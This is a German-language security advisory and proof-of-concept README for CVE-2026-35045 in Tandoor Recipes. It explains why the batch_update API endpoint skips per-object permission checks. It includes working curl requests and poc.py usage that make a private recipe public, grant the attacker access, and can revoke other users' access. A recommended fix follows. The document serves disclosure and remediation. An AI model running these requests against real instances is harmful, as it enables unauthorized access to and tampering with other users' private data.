
Proof-of-Concept-Exploit für CVE-2026-35045, eine Schwachstelle in der Objektzugriffskontrolle (broken object-level authorization) in Tandoor Recipes, die unbefugte Rezeptänderungen über den `batch_update`-API-Endpunkt demonstriert.
Der Endpunkt PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 erlaubt jedem authentifizierten Benutzer innerhalb eines Space, jedes Rezept in diesem Space zu ändern — einschließlich privater Rezepte, die anderen Benutzern gehören. Dies umgeht vollständig die Objekt-Level-Autorisierungsprüfungen, die auf allen standardmäßigen Einzelrezept-Endpunkten erzwungen werden.
Die Grundursache ist eine Verhaltenslücke in Django REST Framework: Listen-Aktionen mit detail=False rufen niemals has_object_permission() auf, sondern nur has_permission(). Der Queryset filtert ausschließlich nach space=request.space, ohne Prüfung auf created_by, private oder die shared-Liste. Ein Angreifer kann private Rezepte zwangsweise offenlegen, sich selbst dauerhaften Zugriff gewähren, die Berechtigungen anderer Benutzer widerrufen und Metadaten manipulieren — alles in einem einzigen API-Aufruf, der HTTP 200 OK mit leerem Body zurückgibt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel |
| CVSS v3.1 | 8.1 HOCH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Betroffene Version | Tandoor Recipes ≤ 2.6.1 |
| Anbieter | TandoorRecipes/recipes |
detail=False umgeht Objekt-Level-BerechtigungsprüfungenDatei: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Keine created_by- oder private-Prüfung
)
In Django REST Framework sind Aktionen, die mit detail=False registriert werden, Listen-Aktionen. Sie rufen niemals get_object() auf, was bedeutet, dass check_object_permissions() und CustomRecipePermission.has_object_permission() nie ausgeführt werden. Nur has_permission() wird ausgeführt — das prüft die Space-Mitgliedschaft, nicht den Rezeptbesitz.
PUT /api/recipe/{id}/ durchläuft den vollständigen DRF-Berechtigungsablauf:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ verweigert den Zugriff, wenn das Rezept privat ist und nicht dem Anforderer gehört/geteilt wird
Der batch_update-Endpunkt überspringt diese gesamte Kette stillschweigend.
RecipeBatchUpdateSerializer legt die folgenden Felder offen — beschreibbar auf jedem Rezept im Space:
| Feld | Auswirkung |
|---|---|
private | Sichtbarkeit des Rezepts umschalten |
shared_add / shared_remove / shared_set | Zugriffskontrollliste manipulieren |
keywords_add / keywords_remove / keywords_set | Rezeptmetadaten ändern |
working_time / waiting_time | Zeitdaten des Rezepts ändern |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Angreifer│ ─────────────────────────────────────→│ Tandoor-Server │
│ (Benutzer B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space-Mitglied)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NIE AUFGERUFEN│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Keine Besitzprüfung
│
▼
┌────────────────┐
│ Rezept-ID 2 │
│ (gehört A) │
│ private=false ← gepatcht
│ shared=[2] ← selbst gewährt
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Angreifer (B) │
│ hat jetzt │
│ vollen Zugriff │
│ auf Rezept-ID 2│
└────────────────┘
requests-Bibliothekpip install requests
# Privates Rezept zwangsweise offenlegen und sich selbst Zugriff gewähren (Standard)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Nur offenlegen (private=false setzen)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Nur selbst Zugriff gewähren (zur shared-Liste hinzufügen, private=true behalten)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Aktion | Beschreibung |
|---|---|
expose | Setzt private: false auf dem Zielrezept — erzwingt Sichtbarkeit für alle Space-Mitglieder |
self_grant | Fügt die Benutzer-ID des Angreifers zu shared_add hinzu — gewährt dauerhaften Zugriff, auch wenn das Rezept privat bleibt |
both | Führt beide Aktionen in einer einzigen Anfrage aus (Standard) |
1. Vorbedingung — Rezept ist über den Standard-Endpunkt nicht zugänglich
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Erwartet: 404 (privat, nicht im Besitz)
2. Exploit — batch_update ohne Autorisierung
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Erwartet: HTTP 200 OK — {}
3. Nachbedingung — Rezept ist jetzt zugänglich
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Erwartet: HTTP 200 mit Rezeptdaten, private=false
4. Über die Rezeptliste verifizieren
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Erwartet: 2 <recipe_name> False
| Auswirkungsbereich | Beschreibung | Schweregrad |
|---|---|---|
| Erzwungene Rezeptoffenlegung | Das Setzen von private: false macht jedes Rezept für alle Space-Mitglieder sichtbar | Hoch |
| Unbefugte Selbstgewährung | Das Hinzufügen der eigenen Benutzer-ID über shared_add gewährt dauerhaften Lese-/Schreibzugriff auf jedes Rezept | Hoch |
| Zugriffswiderruf | Verwendung von shared_remove oder shared_set, um legitime Benutzer aus der Freigabeliste eines Rezepts zu entfernen | Hoch |
| Metadatenmanipulation | Ändern von working_time, waiting_time und keywords auf Rezepten, die anderen Benutzern gehören | Mittel |
Den Queryset nach created_by=request.user filtern, um Batch-Operationen auf eigene Rezepte zu beschränken:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Fix: auf eigene Rezepte beschränken
)
Wenn Space-Administratoren die Möglichkeit benötigen, beliebige Rezepte per Batch zu aktualisieren, eine rollenbasierte Bedingung hinzufügen:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Jede detail=False-Aktion, die auf einzelne Objekte zugreift, muss die Objekt-Level-Autorisierung manuell durchsetzen. DRFs has_object_permission() wird für Listen-Aktionen niemals aufgerufen — diese Verantwortung liegt vollständig beim Entwickler.
Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools.
Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx